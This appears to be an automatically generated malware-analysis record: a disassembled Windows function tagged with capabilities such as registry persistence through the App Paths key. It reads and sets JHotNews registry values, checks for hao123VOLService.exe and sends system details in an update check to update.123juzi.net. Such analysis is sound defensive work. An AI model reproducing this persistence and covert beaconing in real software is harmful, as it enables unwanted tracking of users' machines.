Function at 0x416a26
Capabilities:
Check if file exists
Persist via app paths registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0x554
mov eax, 0x4aa45c
call fcn.00490b44
mov eax, dword [ebp + 8]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp + 0xc]
push 0x7e
mov dword [ebp - 0x52c], eax
pop esi
xor eax, eax
xor edi, edi
push esi
mov word [ebp - 0x110], ax
lea eax, [ebp - 0x10e]
push edi
push eax
mov dword [ebp - 0x538], edi
call fcn.0048e0e0
add esp, 0xc
lea eax, [ebp - 0x110]
push 0x40
push eax
call fcn.0040e048
xor eax, eax
push esi
mov word [ebp - 0x310], ax
lea eax, [ebp - 0x30e]
push edi
push eax
call fcn.0048e0e0
add esp, 0x14
lea eax, [ebp - 0x310]
push edi
push eax
call fcn.0040c653
xor eax, eax
push esi
mov word [ebp - 0x290], ax
lea eax, [ebp - 0x28e]
push edi
push eax
call fcn.0048e0e0
add esp, 0x14
lea eax, [ebp - 0x548]
push eax
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x54c]
push eax
push str.umid
push str.SoftwareJHotNews
mov dword [ebp - 0x548], esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov ebx, 0x80000001
push ebx
mov dword [ebp - 0x54c], 1
call esi
xor eax, eax
push 0x7e
mov word [ebp - 0x90], ax
lea eax, [ebp - 0x8e]
push edi
push eax
call fcn.0048e0e0
lea eax, [ebp - 0x90]
add esp, 0xc
push eax
call fcn.0040c788
pop ecx
xor eax, eax
push 0x7e
mov word [ebp - 0x190], ax
lea eax, [ebp - 0x18e]
push edi
push eax
call fcn.0048e0e0
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
call fcn.0040cf0c
pop ecx
push 4
mov dword [ebp - 0x524], edi
pop eax
mov dword [ebp - 0x53c], eax
mov dword [ebp - 0x540], eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x53c]
push eax
push str.ucount
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsJzbstall.exe
push 0x80000002
call esi
push 4
test eax, eax
pop eax
jne 0x416b92
cmp dword [ebp - 0x53c], eax
je 0x416b98
mov dword [ebp - 0x524], edi
mov ecx, 0x7fff
cmp dword [ebp - 0x524], ecx
jbe 0x416bab
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x550], eax
lea eax, [ebp - 0x550]
push eax
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x530]
push eax
push str.dhlastcktm
push str.SoftwareJHotNews
push ebx
mov dword [ebp - 0x528], edi
call esi
test eax, eax
jne 0x416bec
cmp dword [ebp - 0x530], 4
je 0x416bf2
mov dword [ebp - 0x528], edi
push edi
call fcn.00489c50
pop ecx
push 4
mov dword [ebp - 0x534], eax
lea eax, [ebp - 0x534]
push eax
push 4
push str.dhlastcktm
push str.SoftwareJHotNews
push ebx
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x558], eax
lea eax, [ebp - 0x558]
push eax
mov dword [ebp - 0x520], edi
xor ebx, ebx
mov dword [ebp - 0x554], edi
call fcn.00489f59
pop ecx
cmp eax, edi
je 0x416c49
mov ebx, dword [eax + 0xc]
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x560], eax
lea eax, [ebp - 0x560]
push eax
xor esi, esi
mov dword [ebp - 0x55c], edi
call fcn.00489f59
pop ecx
cmp eax, edi
je 0x416c71
mov esi, dword [eax + 0xc]
cmp ebx, esi
je 0x416c7f
mov dword [ebp - 0x520], 1
xor eax, eax
push 0x206
mov word [ebp - 0x518], ax
lea eax, [ebp - 0x516]
push edi
push eax
xor ebx, ebx
call fcn.0048e0e0
add esp, 0xc
push str.Installer
push 0x4fa568
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push str.hao123VOLService.exe
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x416cda
inc ebx
mov eax, dword [0x4f4a0c]
mov ecx, 0x4f4a0c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x51c], eax
xor eax, eax
mov dword [ebp - 4], edi
cmp ax, word [0x502e50]
jne 0x416d07
call fcn.004018d6
mov esi, eax
jmp 0x416d0c
mov esi, 0x502e50
lea eax, [ebp - 0x90]
push eax
push ebx
push dword [ebp - 0x520]
lea eax, [ebp - 0x190]
push dword [ebp - 0x524]
push eax
call fcn.0040ceb8
movzx eax, al
push eax
call fcn.0040cb95
movzx eax, al
push eax
call fcn.0040cd84
movzx eax, al
push eax
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x110]
push eax
push esi
push str.genreJHotNewstypeJHotNews_updateCheckver_scid_smid_sumid_sos_dsafe_die_dflash_sch7_dch8_dch9_dop3_s
lea eax, [ebp - 0x51c]
call fcn.0040202d
add esp, 0x34
push dword [ebp - 0x51c]
lea eax, [ebp - 0x520]
push eax
call fcn.004203d4
pop ecx
pop ecx
mov byte [ebp - 4], 1
mov esi, dword [ebp - 0x520]
cmp esi, edi
je 0x416de6
push str.aT6Qrs8Ht_Z_r6__T9_QAz
lea eax, [ebp - 0x520]
push eax
call fcn.0040742a
xor eax, eax
push 0x7e
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
call fcn.0048e0e0
mov esi, dword [ebp - 0x520]
mov eax, dword [esi - 0xc]
add esp, 0xc
push 0x3f
push eax
lea ebx, [ebp - 0x210]
mov ecx, esi
call fcn.00417983
pop ecx
pop ecx
test eax, eax
je 0x416de6
mov eax, ebx
push eax
push dword [ebp - 0x52c]
call fcn.00404b7d
mov ebx, dword [ebp - 0x52c]
mov eax, dword [ebx]
cmp dword [eax - 0xc], edi
jne 0x416e06
lea eax, [esi - 0x10]
call fcn.00404bfa
mov eax, dword [ebp - 0x51c]
add eax, 0xfffffff0
jmp 0x416e5d
push 4
push str.ck
lea eax, [ebp - 0x51c]
call fcn.00405cb7
mov eax, dword [ebx]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x51c]
call fcn.00405cb7
mov edi, dword [ebp - 0x51c]
mov eax, dword [ebp - 0x544]
push edi
push str.http:__update.123juzi.net_update.php
push str._s__s
call fcn.0040202d
add esp, 0xc
lea eax, [esi - 0x10]
mov dword [ebp - 0x538], 1
call fcn.00404bfa
lea eax, [edi - 0x10]
call fcn.00404bfa
mov eax, dword [ebp - 0x538]
call fcn.00490bc7
ret 8